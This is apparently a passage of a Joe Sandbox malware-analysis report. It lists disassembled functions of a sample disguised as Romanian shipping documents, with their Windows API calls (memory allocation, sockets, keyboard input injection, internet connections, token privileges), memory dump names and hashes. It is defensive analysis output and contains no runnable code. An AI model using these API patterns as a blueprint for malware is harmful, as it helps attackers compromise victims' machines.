                                                • VirtualAlloc.KERNEL32(00000000,00000077,00003000,00000040), ref: 00A1E301
                                                • _memmove.LIBCMT ref: 00A1E314
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: BuffCharLower$AllocVirtual_memmove
                                                • String ID:
                                                • API String ID: 3659485706-0
                                                • Opcode ID: e9c2e350db4d1ffee503816fddc601160e2898579646931e72fcb3c4b2898acb
                                                • Instruction ID: 07c7e1ff67900116f5713ea7fda917c69fd1fc52bb3cbfcdb8bcc90cab31f715
                                                • Opcode Fuzzy Hash: e9c2e350db4d1ffee503816fddc601160e2898579646931e72fcb3c4b2898acb
                                                • Instruction Fuzzy Hash: F1C13B71A08311DFC714DF28C490AAABBE4FF89714F14896DF8999B351D731E946CB82
                                                Function 00A18093 Relevance: 6.3, APIs: 4, Instructions: 267COMMON
                                                Download Yara Rule
                                                APIs
                                                • CoInitialize.OLE32(00000000), ref: 00A180C3
                                                • CoUninitialize.OLE32 ref: 00A180CE
                                                  • Part of subcall function 009FD56C: CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 009FD5D4
                                                • VariantInit.OLEAUT32(?), ref: 00A180D9
                                                • VariantClear.OLEAUT32(?), ref: 00A183AA
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
                                                • String ID:
                                                • API String ID: 780911581-0
                                                • Opcode ID: cf3c959d85371aac30e6e27f8a74e59b224fd4ffe29931dc86ef1e61375c98fe
                                                • Instruction ID: 4e186b5f58b79296852a9309226283e5aa84cab402c3fc216e4ee2a2fb70662a
                                                • Opcode Fuzzy Hash: cf3c959d85371aac30e6e27f8a74e59b224fd4ffe29931dc86ef1e61375c98fe
                                                • Instruction Fuzzy Hash: A0A17A356047019FCB00DF58C881BAAB7E4BF8A354F04451CF9A69B3A1CB38ED45CB82
                                                Function 009F7530 Relevance: 6.2, APIs: 4, Instructions: 231COMMON
                                                Download Yara Rule
                                                APIs
                                                • ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,00A32C7C,?), ref: 009F76EA
                                                • CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,00A32C7C,?), ref: 009F7702
                                                • CLSIDFromProgID.OLE32(?,?,00000000,00A2FB80,000000FF,?,00000000,00000800,00000000,?,00A32C7C,?), ref: 009F7727
                                                • _memcmp.LIBCMT ref: 009F7748
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: FromProg$FreeTask_memcmp
                                                • String ID:
                                                • API String ID: 314563124-0
                                                • Opcode ID: 86701c0b9d82f282623ac89aaa8fbebdead8d36f9257387656e8c0a7214b0aba
                                                • Instruction ID: 1b0a069419ae0236cb2db914439f260d3a5525a2897b8edaa86c5f980f8a3c19
                                                • Opcode Fuzzy Hash: 86701c0b9d82f282623ac89aaa8fbebdead8d36f9257387656e8c0a7214b0aba
                                                • Instruction Fuzzy Hash: BA81D875A00109EFCB04DFE8C984EEEB7B9FF89315F204558E506AB250DB71AE06CB61
                                                Function 009F687D Relevance: 6.2, APIs: 4, Instructions: 202memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Variant$AllocClearCopyInitString
                                                • String ID:
                                                • API String ID: 2808897238-0
                                                • Opcode ID: 5c13362a2b73780ebc110edefa144821020ab110dab2babba0725d38336228fa
                                                • Instruction ID: 764535f0cfae8158d3c3c6cdecbff6b236f094acddc3c0821326622cc0eec3fe
                                                • Opcode Fuzzy Hash: 5c13362a2b73780ebc110edefa144821020ab110dab2babba0725d38336228fa
                                                • Instruction Fuzzy Hash: FC519374704309DEDB24EF65D891B3AB3E9AF85320F20D82FE696DB291DB74D8808715
                                                Function 00A169AA Relevance: 6.1, APIs: 4, Instructions: 127networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                • socket.WSOCK32(00000002,00000002,00000011), ref: 00A169D1
                                                • WSAGetLastError.WSOCK32(00000000), ref: 00A169E1
                                                  • Part of subcall function 009A9837: __itow.LIBCMT ref: 009A9862
                                                  • Part of subcall function 009A9837: __swprintf.LIBCMT ref: 009A98AC
                                                • #21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00A16A45
                                                • WSAGetLastError.WSOCK32(00000000), ref: 00A16A51
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ErrorLast$__itow__swprintfsocket
                                                • String ID:
                                                • API String ID: 2214342067-0
                                                • Opcode ID: 60a0454233a2814d9631a9cadaf16ee0535d953b0a11900d41824209df80b419
                                                • Instruction ID: a14ccbdb4c54943332391a62b4109581ae8afaea0f5c759a53e22aafc934e676
                                                • Opcode Fuzzy Hash: 60a0454233a2814d9631a9cadaf16ee0535d953b0a11900d41824209df80b419
                                                • Instruction Fuzzy Hash: 8041B275740200AFEB60AF68CC86F7A77E4EF85B54F048068FA19AF2D2DA749D418791
                                                Function 00A1641A Relevance: 6.1, APIs: 4, Instructions: 116COMMON
                                                Download Yara Rule
                                                APIs
                                                • #16.WSOCK32(?,?,00000000,00000000,00000000,00000000,?,?,00000000,00A2F910), ref: 00A164A7
                                                • _strlen.LIBCMT ref: 00A164D9
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: _strlen
                                                • String ID:
                                                • API String ID: 4218353326-0
                                                • Opcode ID: 99bb8d709c6215069bc57a6ec530c5c37ef8d796192103c10a76aa3c2c75c1fa
                                                • Instruction ID: c1db80cda7bd4a960237918fc62265f76171c362594f741b9bc3803d6398e5b9
                                                • Opcode Fuzzy Hash: 99bb8d709c6215069bc57a6ec530c5c37ef8d796192103c10a76aa3c2c75c1fa
                                                • Instruction Fuzzy Hash: 3C41A831A00104AFCB14EBA8DC95FFEB7B9AF85320F148169F919DB292DB30AD41C790
                                                Function 00A0B7F4 Relevance: 6.1, APIs: 4, Instructions: 111fileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 00A0B89E
                                                • GetLastError.KERNEL32(?,00000000), ref: 00A0B8C4
                                                • DeleteFileW.KERNEL32(00000002,?,00000000), ref: 00A0B8E9
                                                • CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 00A0B915
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CreateHardLink$DeleteErrorFileLast
                                                • String ID:
                                                • API String ID: 3321077145-0
                                                • Opcode ID: 6525733b1811c003014db14ed6932c54cafd9f9fa21086483dae5de0f75aae9c
                                                • Instruction ID: 5eddcd21df30f9d019a892c0e1572fdb30b32d8234a0e9ec26f1ea1266739941
                                                • Opcode Fuzzy Hash: 6525733b1811c003014db14ed6932c54cafd9f9fa21086483dae5de0f75aae9c
                                                • Instruction Fuzzy Hash: 37410A35600614DFCB11EF19C585A5ABBE1BF8A710F198098ED4A9B7A2CB34FD02DB91
                                                Function 00A2AB37 Relevance: 6.1, APIs: 4, Instructions: 106windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • ClientToScreen.USER32(?,?), ref: 00A2AB60
                                                • GetWindowRect.USER32(?,?), ref: 00A2ABD6
                                                • PtInRect.USER32(?,?,00A2C014), ref: 00A2ABE6
                                                • MessageBeep.USER32(00000000), ref: 00A2AC57
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Rect$BeepClientMessageScreenWindow
                                                • String ID:
                                                • API String ID: 1352109105-0
                                                • Opcode ID: b3a2ee33a05a0341e1b3ebbd0c85c63d3de7f01dd828e70246ef004cdfe693e8
                                                • Instruction ID: a14daec91a20f95fcb5137edb3ca4eab1c448502a5722ec2fae28fc9eb9f3c4e
                                                • Opcode Fuzzy Hash: b3a2ee33a05a0341e1b3ebbd0c85c63d3de7f01dd828e70246ef004cdfe693e8
                                                • Instruction Fuzzy Hash: 49416E30A00529DFCB21DF9CE884A69BBF5FB59710F1480B9E855DB264D770E842DB92
                                                Function 00A00AD6 Relevance: 6.1, APIs: 4, Instructions: 105keyboardwindowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetKeyboardState.USER32(?,00000000,?,00000001), ref: 00A00B27
                                                • SetKeyboardState.USER32(00000080,?,00000001), ref: 00A00B43
                                                • PostMessageW.USER32(00000000,00000102,00000001,00000001), ref: 00A00BA9
                                                • SendInput.USER32(00000001,00000000,0000001C,00000000,?,00000001), ref: 00A00BFB
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: KeyboardState$InputMessagePostSend
                                                • String ID:
                                                • API String ID: 432972143-0
                                                • Opcode ID: c986d534fa325336ca3a73c8782759a45698d277e1be9fa3aee134c5ff52cf9f
                                                • Instruction ID: c134efbc2ceb66154152f47d9d0caa9fce6e95bcb2662ae3d6375248649f7d99
                                                • Opcode Fuzzy Hash: c986d534fa325336ca3a73c8782759a45698d277e1be9fa3aee134c5ff52cf9f
                                                • Instruction Fuzzy Hash: 7D313830D4021CAFFF30CB69AC05FFABBB9AB46318F08436AE591521D1C3B989419751
                                                Function 00A00C11 Relevance: 6.1, APIs: 4, Instructions: 101keyboardwindowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetKeyboardState.USER32(?,753DC0D0,?,00008000), ref: 00A00C66
                                                • SetKeyboardState.USER32(00000080,?,00008000), ref: 00A00C82
                                                • PostMessageW.USER32(00000000,00000101,00000000), ref: 00A00CE1
                                                • SendInput.USER32(00000001,?,0000001C,753DC0D0,?,00008000), ref: 00A00D33
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: KeyboardState$InputMessagePostSend
                                                • String ID:
                                                • API String ID: 432972143-0
                                                • Opcode ID: 477a696819becf319f3b122c8a971f3bce11bd892ee32f7ee008b70d774825a9
                                                • Instruction ID: d60460f63dd054149827e0530aa281e897c83618f039014ee95105c649702693
                                                • Opcode Fuzzy Hash: 477a696819becf319f3b122c8a971f3bce11bd892ee32f7ee008b70d774825a9
                                                • Instruction Fuzzy Hash: E931363094025CAEFF34CB69AC18FFEBBB6AB85320F04432BE485521D1C379995687A1
                                                Function 009D61C5 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                • _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 009D61FB
                                                • __isleadbyte_l.LIBCMT ref: 009D6229
                                                • MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 009D6257
                                                • MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 009D628D
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
                                                • String ID:
                                                • API String ID: 3058430110-0
                                                • Opcode ID: 826b431ded76c257153a1e0f1439d9c1a8a8951246521973e8c204fce55b64ac
                                                • Instruction ID: 43aa0166049ec9f62a893e5f88424c9a58a4ab5d45ed3395efba42a546bc0193
                                                • Opcode Fuzzy Hash: 826b431ded76c257153a1e0f1439d9c1a8a8951246521973e8c204fce55b64ac
                                                • Instruction Fuzzy Hash: B9310130644246AFDF218FA4CC44BBA7FB9FF82310F15802AE964D72A1D730E850CB90
                                                Function 00A24EEE Relevance: 6.1, APIs: 4, Instructions: 95COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetForegroundWindow.USER32 ref: 00A24F02
                                                  • Part of subcall function 00A03641: GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00A0365B
                                                  • Part of subcall function 00A03641: GetCurrentThreadId.KERNEL32 ref: 00A03662
                                                  • Part of subcall function 00A03641: AttachThreadInput.USER32(00000000,?,00A05005), ref: 00A03669
                                                • GetCaretPos.USER32(?), ref: 00A24F13
                                                • ClientToScreen.USER32(00000000,?), ref: 00A24F4E
                                                • GetForegroundWindow.USER32 ref: 00A24F54
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
                                                • String ID:
                                                • API String ID: 2759813231-0
                                                • Opcode ID: 5b294a274cbf8dd8fa3d9470af9025c7743a175b1e66d18e0b311d4dd613a889
                                                • Instruction ID: e2114c9150c3eca2d5f7bd9fbb69bdaf179a7857dd1812a28ecd0ba81097b78e
                                                • Opcode Fuzzy Hash: 5b294a274cbf8dd8fa3d9470af9025c7743a175b1e66d18e0b311d4dd613a889
                                                • Instruction Fuzzy Hash: C2311072D00108AFDB10EFA9C985AEFB7FDEF99304F10406AE815E7241DA759E45CBA0
                                                Function 00A2C498 Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009A2612: GetWindowLongW.USER32(?,000000EB), ref: 009A2623
                                                • GetCursorPos.USER32(?), ref: 00A2C4D2
                                                • TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,009DB9AB,?,?,?,?,?), ref: 00A2C4E7
                                                • GetCursorPos.USER32(?), ref: 00A2C534
                                                • DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,009DB9AB,?,?,?), ref: 00A2C56E
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Cursor$LongMenuPopupProcTrackWindow
                                                • String ID:
                                                • API String ID: 2864067406-0
                                                • Opcode ID: 631e19f3bdad263fc7b5d4e0b56e4455c33334358e647a49766594be6acc5fdc
                                                • Instruction ID: 73451c23c495e6b86f6d740c2c1582d617ef4d3651de57c98629cb34947071c7
                                                • Opcode Fuzzy Hash: 631e19f3bdad263fc7b5d4e0b56e4455c33334358e647a49766594be6acc5fdc
                                                • Instruction Fuzzy Hash: DF317135600068AFCB25CF9CD858EBE7BF6EB49360F444179F9058B261C731AD52DBA4
                                                Function 009F8656 Relevance: 6.1, APIs: 4, Instructions: 79memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009F810A: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 009F8121
                                                  • Part of subcall function 009F810A: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 009F812B
                                                  • Part of subcall function 009F810A: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 009F813A
                                                  • Part of subcall function 009F810A: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 009F8141
                                                  • Part of subcall function 009F810A: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 009F8157
                                                • LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 009F86A3
                                                • _memcmp.LIBCMT ref: 009F86C6
                                                • GetProcessHeap.KERNEL32(00000000,00000000), ref: 009F86FC
                                                • HeapFree.KERNEL32(00000000), ref: 009F8703
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
                                                • String ID:
                                                • API String ID: 1592001646-0
                                                • Opcode ID: a9838195e3a87054981fc4e8147f2471071701f8da736a383a4fec4dad2610c0
                                                • Instruction ID: 337ee8abbb8372fc042fd3a834a92395a2428a6b238967d4f2f4df4b4f141ad4
                                                • Opcode Fuzzy Hash: a9838195e3a87054981fc4e8147f2471071701f8da736a383a4fec4dad2610c0
                                                • Instruction Fuzzy Hash: 9A217C71E10109EFDB10DFA8C949BFEB7B8EF44304F154069E544A7241EB30AE05CB50
                                                Function 009C098C Relevance: 6.1, APIs: 4, Instructions: 79COMMON
                                                Download Yara Rule
                                                APIs
                                                • __setmode.LIBCMT ref: 009C09AE
                                                  • Part of subcall function 009A5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00A07896,?,?,00000000), ref: 009A5A2C
                                                  • Part of subcall function 009A5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00A07896,?,?,00000000,?,?), ref: 009A5A50
                                                • _fprintf.LIBCMT ref: 009C09E5
                                                • OutputDebugStringW.KERNEL32(?), ref: 009F5DBB
                                                  • Part of subcall function 009C4AAA: _flsall.LIBCMT ref: 009C4AC3
                                                • __setmode.LIBCMT ref: 009C0A1A
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ByteCharMultiWide__setmode$DebugOutputString_flsall_fprintf
                                                • String ID:
                                                • API String ID: 521402451-0
                                                • Opcode ID: 9ca2af3e04dbce5bdb052c855ac7e7fc74437df34cab873415df27c582561b92
                                                • Instruction ID: ccbaea833e0f8bb1a169a0fc7363e2092d3316f0714ef8cc65307c53148ee353
                                                • Opcode Fuzzy Hash: 9ca2af3e04dbce5bdb052c855ac7e7fc74437df34cab873415df27c582561b92
                                                • Instruction Fuzzy Hash: 46110531E04608AFDB04B3B8AC4AFBE7768AFC2320F100029F205561C2EE64484687E6
                                                Function 00A11767 Relevance: 6.1, APIs: 4, Instructions: 78networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00A117A3
                                                  • Part of subcall function 00A1182D: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00A1184C
                                                  • Part of subcall function 00A1182D: InternetCloseHandle.WININET(00000000), ref: 00A118E9
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
